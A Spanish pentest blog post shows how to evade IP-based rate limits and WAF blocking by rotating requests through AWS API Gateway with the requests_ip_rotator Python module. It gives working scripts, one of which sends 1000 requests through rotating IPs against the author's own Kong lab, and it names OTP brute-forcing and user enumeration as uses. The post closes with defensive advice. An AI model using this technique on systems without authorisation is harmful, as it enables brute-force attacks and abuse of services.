Python + AWS + Docker = Bypass de Dirección IP 🏄‍♂️

Generalmente necesitamos recursos que nos permitan evadir o bypassear restricciones que son consideradas seguras por sí mismas (API Gateway, WAF, Firewall, Rate Limit, etc.).

Por ejemplo, tenemos que ejecutar pentest contra una interfaz API que tiene rate limit basado en filtro de dirección IP y hay que demostrar alguna forma de impacto para el consumo o acceso irrestricto y masivo del microservicio.

Puede ocurrir también que tenemos una vulnerabilidad basada en fuerza bruta pero el WAF no permite explotarla satisfactoriamente porque nos bloquea la dirección IP (enumeración de usuarios, bypass de OTP, etc.).

Así mismo, existen múltiples casos, incluso algunos muy poco usuales pero que sí se dan en el día a día, en los que vamos a necesitar esta clase de prácticas para bypassear el filtro y poder presentar un impacto real en el informe de kaking.

Componentes de mi laboratorio 🛠

Referencias de uso con AWS

Herramientas y tutoriales que no he usado, pero estoy seguro de que sirven como información de apoyo:

Paso N°1: Configuración de AWS API Gateway

No creo que se requiera un paso a paso para esto ya que la interfaz de AWS es bastante intuitiva (logré configurar y probar todo en unos 15 o 20 minutos).

Comparto una captura de las configuraciones que al menos yo utilizo:

Paso N°2: Variables de entorno (AWS_SECRET_ACCESS_KEY y AWS_ACCESS_KEY_ID)

  • Luego de configurar AWS, genera y verifica que tu AWS_SECRET_ACCESS_KEY y AWS_ACCESS_KEY_ID funcionen de manera correcta
  • Después de tu verificación, establece tu AWS_SECRET_ACCESS_KEY y AWS_ACCESS_KEY_ID como variables de entorno, ya que el módulo de Python irá automáticamente a buscar esta información

Paso N°3: instalar y probar el módulo Request IP Rotator

Ya con las variables de entorno establecidas, realizo una primera prueba:

#!/usr/bin/python3
#_*_ coding: utf-8 _*_

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from requests_ip_rotator import ApiGateway

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

gateway = ApiGateway("https://api.ipify.org")
gateway.start()

session = requests.Session()
session.mount("https://api.ipify.org", gateway)

response = session.get("https://api.ipify.org/?format=json",proxies=proxies,verify=False)

if response.status_code == 200:
    print("\nStatus: "+str(response.status_code)+" Response: "+str(response.json())+"\n")
else:
    gateway.shutdown()
    exit()

gateway.shutdown()

Si eres observador, te habrás percatado de que se utilizan 2 direcciones IP diferentes de AWS por cada request: 35.176.11.32, 201.119.121.234 y 18.168.233.145,119.143.41.127 (respectivamente). Esto se debe a que AWS utiliza la cabecera X-My-X-Forwarded-For en reemplazo de la cabecera X-Forwarded-For.

Paso N°4: detalles del laboratorio Docker

Hace poco monté un pequeño laboratorio de API Gateway basado en Docker, así que lo utilizaré para este ejercicio.

Una vista de mis contenedores desde la GUI de Docker (Portainer):

La configuración del plugin rate limit en Konga para control de requests en Kong:

Luego de configurar https://api.ipify.org como servicio en Konga, expongo el puerto a Internet para simular una API en producción, y verifico que la respuesta sea mi dirección IPv4 pública:

Paso N°5 y final: bypass de API Rate Limit en Kong Gateway

Si llevo el mismo request al Intruder para ejecutar un ataque de tipo null payloads con una cantidad de 1000, obtengo por consecuencia sólo estados de respuesta 429 por exceder el rate limit:

Sin embargo, por otro lado, si modifico el script anterior para añadir un bucle for con 1000 requests, obtengo sólo estados de respuesta 200, al ejecutar todas las solicitudes mediante múltiples y diferentes direcciones IP:

#!/usr/bin/python3
#_*_ coding: utf-8 _*_

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from requests_ip_rotator import ApiGateway

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

gateway = ApiGateway("https://86d6-2800-150-117-1af5-812a-97cb-6e3b-7a1f.ngrok.io")
gateway.start()

session = requests.Session()
session.mount("https://86d6-2800-150-117-1af5-812a-97cb-6e3b-7a1f.ngrok.io", gateway)

for x in range(1,1001):
    response = session.get("https://86d6-2800-150-117-1af5-812a-97cb-6e3b-7a1f.ngrok.io",proxies=proxies,verify=False)
    if response.status_code == 200:
        print("Status: "+str(response.status_code)+" Response: "+str(response.text))
    else:
        pass

gateway.shutdown()

Conclusiones

  • A la hora de diseñar, desarrollar y desplegar arquitecturas de microservicios, no es recomendable utilizar rate limit considerando la dirección IP del usuario como factor de filtro
  • La recomendación apunta a establecer rate limit basado en API key o alguna forma de autorización y autenticación como JWT, a través del cual se pueden establecer restricciones de cuota según el rol o privilegio del usuario
  • Por el lado del pentester, esta clase de prácticas pueden tener deficiencias a la hora de aplicarlas, ya que la rapidez del script o el exploit es un factor a considerar